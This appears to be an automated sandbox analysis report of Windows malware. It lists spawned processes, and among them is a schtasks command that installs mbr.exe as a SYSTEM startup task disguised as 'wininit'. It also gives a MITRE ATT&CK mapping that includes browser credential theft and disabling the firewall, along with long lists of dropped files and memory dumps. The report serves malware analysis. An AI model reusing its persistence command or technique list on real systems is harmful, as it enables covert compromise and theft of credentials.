C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa388a055 /state1:0x41c64e6d1⤵
-
C:\Users\Admin\AppData\Local\WindowsSecurity"C:\Users\Admin\AppData\Local\WindowsSecurity"1⤵
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\System32\svchost.exe -k CameraMonitor1⤵
-
C:\Windows\mbr.exe"C:\Windows\mbr.exe"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /Create /TN wininit /ru SYSTEM /SC ONSTART /TR "C:\Windows\mbr.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\nt.exeC:\Windows\nt.exe2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Modify Authentication Process
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Authentication Process
1Modify Registry
5Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
1Credentials In Files
1Discovery
Network Share Discovery
1Peripheral Device Discovery
1Process Discovery
1Query Registry
2System Information Discovery
4System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
2Internet Connection Discovery
1Wi-Fi Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
Converter.dll
atl100.dll
msvcp100.dll
msvcr100.dll
PPAP.exe
product.ini
PPP.dll
hwcheck.exe
PPTV.MKV.ico
AVCVideoDec.ax
CoreAAC.ax
CoreAVC.2.0.0.0.ax
CoreAVC.ax
HTTP_ASF_SOURCE.ax
MP4Splitter.ax
OPlayer.ocx
VSFilter.dll
audioswitcher.ax
list_HD.png
list_livebtn_down.png
ad_close.bmp
pause_close.bmp
checkbox.bmp
checkbox_checked.bmp
checkbox_checked_disabled.bmp
checkbox_checked_down.bmp
checkbox_checked_hover.bmp
checkbox_disabled.bmp
checkbox_down.bmp
checkbox_hover.bmp
radio.png
radio_checked.png
radio_checked_disabled.png
radio_checked_down.png
radio_checked_hover.png
radio_disabled.png
radio_down.png
radio_hover.png
logo.jpg
ProgressTb_hover.png
scrollbar_pagedown.bmp
scrollbar_vthumbgripper.bmp
scrollbar_pagedown_hover.bmp
scrollbar_vthumbgripper_down.bmp
PPLive.exe
background.exe
settings.dat
BookmarkMergedSurfaceOrdering
data_0
data_1
data_2
data_3
Network Persistent State
SCT Auditing Pending Reports
Preferences
Secure Preferences
Last Version
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
CurrentDatabase_400.wmdb
svchost.exe
WMSDKNS.XML
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
4a433c66-0e29-417b-8d04-3a960b27770d.tmp
%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
000.exe
02.08.2022.exe
02.08.2022.exe
1992.exe
20030520.exe
666.exe
AddMeFast%20Bot.exe
Amus.exe
Anap.a.exe
BenzMonster.exe
CFXBypass.exe
ChromeSetup.exe
Client-Built.exe
Client.exe
Cloudy.exe
DiscordNitroGenerator.exe
DowOnline.Installer.exe
EDMSLauncherSetup.exe
EmmetPROD.exe
Isass.exe
NanoCore_Portable.exe
Obfuscated.exe
OpenArk32.exe
PPTV(pplive)_forap_1084_9993.exe
PrivacyPolicy.exe
Prolin.exe
Pulsar-Client.exe
RuntimeBroker.exe
ScreenConnect.ClientSetup.exe
SharpHound.exe
Steanings.exe
Stub.exe
TempSpoofer.exe
Windows.x64.silent.CPU.exe
WxWorkMultiOpen.exe
XClient.exe
YHY_Setup.exe
Yellow%20Pages%20Scraper.exe
ZinTask.exe
[UPG]CSS.exe
adpopup_1382523956.exe
better.exe
billi_e58d74e455634dc695ed8a7b8b320325.exe.dom_2.exe
chrome_134.exe
crypted.exe
downloads_db
downloads_db
evil.exe
grab.exe
housenetshare.exe
justpoc.exe
keygen.exe
keylogger.exe
login_db
main1.exe
mimikatz.exe
net_launcher.exe
ntladlklthawd.exe
payload.exe
process-injection.exe
prueba.exe
pvp.exe
qcoin133.exe
qt51crk.exe
riende.exe
scalecalc.exe
setup.exe
sunwukongs.exe
support.client.exe
svchost.exe
vnc.exe
winsetaccess64.exe
flag_aq.png
flag_cx.png
flag_gp.png
flag_sj.png
TempDel.bat
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
base_library.zip
md.cp311-win_amd64.pyd
md__mypyc.cp311-win_amd64.pyd
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
python311.dll
select.pyd
sqlite3.dll
unicodedata.pyd
INSTALLER
__PSScriptPolicyTest_i3foevxh.wdi.ps1
CURRENT
MANIFEST-000001
PrivacyPolicy.tmp
nsExec.dll
AsynDownload.dll
BindDLL.dll
CommonFuncDll.dll
FindProcDLL.dll
GetCommentsInfoDll.dll
GetVersion.dll
InetLoad.dll
KillProcDLL.dll
PPInstallLog.dll
System.dll
cknsis.dll
pnsis.dll
time.dll
nsExec.dll
one.rtf
rniw.exe
text.txt
v.mp4
windl.bat
PPTV视频.library-ms
PPTV视频.library-ms
PPTV视频.library-ms
PPTV视频.library-ms
openark.ini
openark.ini.Nl5892
openark.ini.lock
sihost64.exe
death.exe
mbr.exe
memory/1364-1452-0x0000028DAFCF0000-0x0000028DAFF31000-memory.dmp
memory/1644-1567-0x00000268B4130000-0x00000268B4371000-memory.dmp
memory/1684-1566-0x000002CDFC560000-0x000002CDFC7A1000-memory.dmp
memory/2160-2-0x00000000055D0000-0x000000000566C000-memory.dmp
memory/2160-0-0x00000000750C2000-0x00000000750C3000-memory.dmp
memory/2160-3-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/2160-1-0x0000000000B00000-0x0000000000B08000-memory.dmp
memory/2160-262-0x0000000006770000-0x0000000006872000-memory.dmp
memory/2160-4-0x00000000750C2000-0x00000000750C3000-memory.dmp
memory/2160-5-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/2160-6-0x0000000001280000-0x00000000012C0000-memory.dmp
memory/2448-54-0x00007FFB3A890000-0x00007FFB3B234000-memory.dmp
memory/2448-155-0x0000021ADBA90000-0x0000021ADBA9A000-memory.dmp
memory/2448-56-0x00007FFB3A890000-0x00007FFB3B234000-memory.dmp
memory/2448-66-0x00007FFB3A890000-0x00007FFB3B234000-memory.dmp
memory/2448-58-0x0000021ADBC10000-0x0000021ADBD12000-memory.dmp
memory/2448-53-0x00007FFB3A890000-0x00007FFB3B234000-memory.dmp
memory/2448-29-0x0000021AC12A0000-0x0000021AC12EC000-memory.dmp
memory/2448-169-0x00007FFB3A890000-0x00007FFB3B234000-memory.dmp
memory/2448-30-0x00007FFB3AA1F000-0x00007FFB3AA20000-memory.dmp
memory/2448-135-0x00007FFB3A890000-0x00007FFB3B234000-memory.dmp
memory/2448-38-0x00007FFB3A890000-0x00007FFB3B234000-memory.dmp
memory/2448-158-0x0000021ADBB20000-0x0000021ADBB3E000-memory.dmp
memory/2448-156-0x0000021ADBB00000-0x0000021ADBB12000-memory.dmp
memory/2448-67-0x00007FFB3A890000-0x00007FFB3B234000-memory.dmp
memory/2448-55-0x00007FFB3A890000-0x00007FFB3B234000-memory.dmp
memory/2448-57-0x0000021ADBAC0000-0x0000021ADBB00000-memory.dmp
memory/2448-153-0x0000021ADBB80000-0x0000021ADBBF6000-memory.dmp
memory/2448-43-0x00007FFB3A890000-0x00007FFB3B234000-memory.dmp
memory/2800-1435-0x000001E78FBD0000-0x000001E78FE11000-memory.dmp
memory/2920-44-0x0000000000640000-0x0000000000656000-memory.dmp
memory/2924-1402-0x0000025F11790000-0x0000025F119D1000-memory.dmp
memory/2968-316-0x000001CE7D8B0000-0x000001CE7D8E4000-memory.dmp
memory/2968-310-0x000001CE7B9D0000-0x000001CE7BAC4000-memory.dmp
memory/2968-330-0x000001CE7E0A0000-0x000001CE7E0DE000-memory.dmp
memory/3168-1161-0x0000000000400000-0x00000000004BC000-memory.dmp
memory/3680-1403-0x000001C881AA0000-0x000001C881CE1000-memory.dmp
memory/3888-1222-0x000002237F860000-0x000002237FAA1000-memory.dmp
memory/4004-1438-0x0000029A8DEE0000-0x0000029A8E121000-memory.dmp
memory/4116-1547-0x000002035A690000-0x000002035A8D1000-memory.dmp
memory/4156-896-0x0000000000400000-0x00000000004F1000-memory.dmp
memory/4156-269-0x00000000007F0000-0x00000000007F1000-memory.dmp
memory/4156-268-0x00000000007F0000-0x00000000007F1000-memory.dmp
memory/4156-266-0x0000000000400000-0x00000000004F1000-memory.dmp
memory/4244-136-0x0000000000400000-0x000000000066C000-memory.dmp
memory/4244-154-0x0000000000400000-0x000000000066C000-memory.dmp
memory/4244-338-0x0000000000400000-0x000000000066C000-memory.dmp
memory/4508-1553-0x0000000140000000-0x000000014028D000-memory.dmp
memory/4508-1546-0x00007FFB5DBA0000-0x00007FFB5DE03000-memory.dmp
memory/4776-1454-0x0000000003450000-0x0000000003467000-memory.dmp
memory/4776-1455-0x0000000003A80000-0x0000000003A98000-memory.dmp
memory/4776-1576-0x0000000000400000-0x000000000066C000-memory.dmp
memory/4776-1489-0x0000000008FC0000-0x0000000009052000-memory.dmp
memory/4776-1491-0x0000000009070000-0x000000000907A000-memory.dmp
memory/4828-18-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/4828-94-0x000000000CCA0000-0x000000000CCB0000-memory.dmp
memory/4828-90-0x000000000CCA0000-0x000000000CCB0000-memory.dmp
memory/4828-95-0x000000000CCA0000-0x000000000CCB0000-memory.dmp
memory/4828-17-0x0000000000280000-0x000000000092E000-memory.dmp
memory/4828-91-0x000000000CCA0000-0x000000000CCB0000-memory.dmp
memory/4828-93-0x000000000CCA0000-0x000000000CCB0000-memory.dmp
memory/4828-92-0x000000000CCA0000-0x000000000CCB0000-memory.dmp
memory/4828-78-0x000000000CAD0000-0x000000000CB0E000-memory.dmp
memory/4828-79-0x000000000CAA0000-0x000000000CAAE000-memory.dmp
memory/4828-134-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/4828-75-0x00000000053F0000-0x0000000005400000-memory.dmp
memory/4828-140-0x00000000053F0000-0x0000000005400000-memory.dmp
memory/4828-42-0x00000000063C0000-0x000000000697A000-memory.dmp
memory/5300-115-0x0000024D49F40000-0x0000024D49F5E000-memory.dmp
memory/5300-142-0x0000024D4A240000-0x0000024D4A25E000-memory.dmp
memory/5300-68-0x0000024D49E90000-0x0000024D49F12000-memory.dmp
memory/5300-74-0x0000024D49E00000-0x0000024D49E22000-memory.dmp
memory/5300-77-0x0000024D31980000-0x0000024D31990000-memory.dmp
memory/5300-116-0x0000024D49F60000-0x0000024D4A012000-memory.dmp
memory/5300-126-0x0000024D4A020000-0x0000024D4A02A000-memory.dmp
memory/5300-130-0x0000024D4A660000-0x0000024D4A6AA000-memory.dmp
memory/5980-1503-0x0000024723780000-0x00000247239C1000-memory.dmp
memory/6748-1331-0x00000202ADAE0000-0x00000202ADD21000-memory.dmp
memory/6864-1526-0x00007FFB45D20000-0x00007FFB45D3C000-memory.dmp
memory/6864-1530-0x00007FFB453C0000-0x00007FFB453D1000-memory.dmp
memory/6864-1330-0x00007FFB45EB0000-0x00007FFB45ED7000-memory.dmp
memory/6864-1345-0x00007FFB45DB0000-0x00007FFB45DBD000-memory.dmp
memory/6864-1346-0x00007FFB453C0000-0x00007FFB453D1000-memory.dmp
memory/6864-1344-0x00007FFB45640000-0x00007FFB4565A000-memory.dmp
memory/6864-1351-0x00007FFB2CC40000-0x00007FFB2CFAF000-memory.dmp
memory/6864-1409-0x00007FFB44BF0000-0x00007FFB44C1D000-memory.dmp
memory/6864-1401-0x00007FFB2D0F0000-0x00007FFB2D535000-memory.dmp
memory/6864-1412-0x00007FFB35AC0000-0x00007FFB35B76000-memory.dmp
memory/6864-1411-0x00007FFB45EB0000-0x00007FFB45ED7000-memory.dmp
memory/6864-1419-0x00007FFB458C0000-0x00007FFB458CD000-memory.dmp
memory/6864-1420-0x00007FFB45260000-0x00007FFB4526B000-memory.dmp
memory/6864-1467-0x00007FFB35AC0000-0x00007FFB35B76000-memory.dmp
memory/6864-1425-0x00007FFB440E0000-0x00007FFB44106000-memory.dmp
memory/6864-1424-0x00007FFB453E0000-0x00007FFB4540E000-memory.dmp
memory/6864-1478-0x00007FFB43CD0000-0x00007FFB43CE2000-memory.dmp
memory/6864-1429-0x00007FFB41CC0000-0x00007FFB41DD2000-memory.dmp
memory/6864-1529-0x00007FFB45DB0000-0x00007FFB45DBD000-memory.dmp
memory/6864-1477-0x00007FFB441E0000-0x00007FFB441F6000-memory.dmp
memory/6864-1440-0x00007FFB453C0000-0x00007FFB453D1000-memory.dmp
memory/6864-1441-0x00007FFB34370000-0x00007FFB34A64000-memory.dmp
memory/6864-1453-0x00007FFB2CC40000-0x00007FFB2CFAF000-memory.dmp
memory/6864-1466-0x00007FFB44BF0000-0x00007FFB44C1D000-memory.dmp
memory/6864-1480-0x00007FFB43830000-0x00007FFB43847000-memory.dmp
memory/6864-1458-0x00007FFB45EB0000-0x00007FFB45ED7000-memory.dmp
memory/6864-1470-0x00007FFB440E0000-0x00007FFB44106000-memory.dmp
memory/6864-1488-0x00007FFB434D0000-0x00007FFB43500000-memory.dmp
memory/6864-1457-0x00007FFB2D0F0000-0x00007FFB2D535000-memory.dmp
memory/6864-1475-0x00007FFB44BD0000-0x00007FFB44BE8000-memory.dmp
memory/6864-1472-0x00007FFB34370000-0x00007FFB34A64000-memory.dmp
memory/6864-1471-0x00007FFB41CC0000-0x00007FFB41DD2000-memory.dmp
memory/6864-1474-0x00007FFB43CF0000-0x00007FFB43D27000-memory.dmp
memory/6864-1524-0x00007FFB45EB0000-0x00007FFB45ED7000-memory.dmp
memory/6864-1525-0x00007FFB46020000-0x00007FFB4602F000-memory.dmp
memory/6864-1490-0x00007FFB3BB90000-0x00007FFB3BBD3000-memory.dmp
memory/6864-1527-0x00007FFB453E0000-0x00007FFB4540E000-memory.dmp
memory/6864-1493-0x00007FFB43420000-0x00007FFB4344C000-memory.dmp
memory/6864-1528-0x00007FFB45640000-0x00007FFB4565A000-memory.dmp
memory/6864-1342-0x00007FFB453E0000-0x00007FFB4540E000-memory.dmp
memory/6864-1428-0x00007FFB45640000-0x00007FFB4565A000-memory.dmp
memory/6864-1341-0x00007FFB45D20000-0x00007FFB45D3C000-memory.dmp
memory/6864-1545-0x00007FFB3BB90000-0x00007FFB3BBD3000-memory.dmp
memory/6864-1532-0x00007FFB44BF0000-0x00007FFB44C1D000-memory.dmp
memory/6864-1533-0x00007FFB35AC0000-0x00007FFB35B76000-memory.dmp
memory/6864-1531-0x00007FFB2CC40000-0x00007FFB2CFAF000-memory.dmp
memory/6864-1534-0x00007FFB458C0000-0x00007FFB458CD000-memory.dmp
memory/6864-1535-0x00007FFB45260000-0x00007FFB4526B000-memory.dmp
memory/6864-1537-0x00007FFB41CC0000-0x00007FFB41DD2000-memory.dmp
memory/6864-1540-0x00007FFB44BD0000-0x00007FFB44BE8000-memory.dmp
memory/6864-1541-0x00007FFB441E0000-0x00007FFB441F6000-memory.dmp
memory/6864-1542-0x00007FFB43CD0000-0x00007FFB43CE2000-memory.dmp
memory/6864-1548-0x00007FFB43420000-0x00007FFB4344C000-memory.dmp
memory/6864-1549-0x00007FFB37280000-0x00007FFB37344000-memory.dmp
memory/6864-1539-0x00007FFB43CF0000-0x00007FFB43D27000-memory.dmp
memory/6864-1543-0x00007FFB43830000-0x00007FFB43847000-memory.dmp
memory/6864-1544-0x00007FFB434D0000-0x00007FFB43500000-memory.dmp
memory/6864-1538-0x00007FFB34370000-0x00007FFB34A64000-memory.dmp
memory/6864-1340-0x00007FFB46020000-0x00007FFB4602F000-memory.dmp
memory/6864-1536-0x00007FFB440E0000-0x00007FFB44106000-memory.dmp
memory/6864-1523-0x00007FFB2D0F0000-0x00007FFB2D535000-memory.dmp
memory/6864-1499-0x00007FFB37280000-0x00007FFB37344000-memory.dmp
memory/6864-1325-0x00007FFB2D0F0000-0x00007FFB2D535000-memory.dmp
memory/6864-1505-0x00007FFB3DB50000-0x00007FFB3DB7F000-memory.dmp
memory/6864-1507-0x00007FFB3B650000-0x00007FFB3B683000-memory.dmp
memory/6864-1509-0x00007FFB3B610000-0x00007FFB3B645000-memory.dmp
memory/6864-1508-0x00007FFB44BD0000-0x00007FFB44BE8000-memory.dmp
memory/7092-1421-0x000001E705870000-0x000001E705AB1000-memory.dmp
memory/7136-1431-0x00007FF77DC90000-0x00007FF77E57C000-memory.dmp
memory/7628-1328-0x0000000000400000-0x0000000000418000-memory.dmp
memory/7676-1194-0x0000000002860000-0x000000000286A000-memory.dmp
memory/7676-1187-0x0000000000610000-0x0000000000620000-memory.dmp
memory/7676-1504-0x000000001CFF0000-0x000000001D00E000-memory.dmp
memory/7676-1195-0x0000000002870000-0x000000000287A000-memory.dmp
memory/7676-1197-0x000000001D2F0000-0x000000001D304000-memory.dmp
memory/7860-1208-0x0000000003630000-0x0000000003652000-memory.dmp
memory/7860-1206-0x0000000005FD0000-0x00000000062C2000-memory.dmp
memory/7860-1209-0x0000000005D60000-0x0000000005F0C000-memory.dmp
memory/7860-1205-0x0000000001D90000-0x0000000001D98000-memory.dmp
memory/7860-1207-0x0000000005CD0000-0x0000000005D5C000-memory.dmp
memory/7888-1518-0x00000276CC8A0000-0x00000276CCAE1000-memory.dmp
memory/7936-1211-0x0000022D2FF40000-0x0000022D30181000-memory.dmp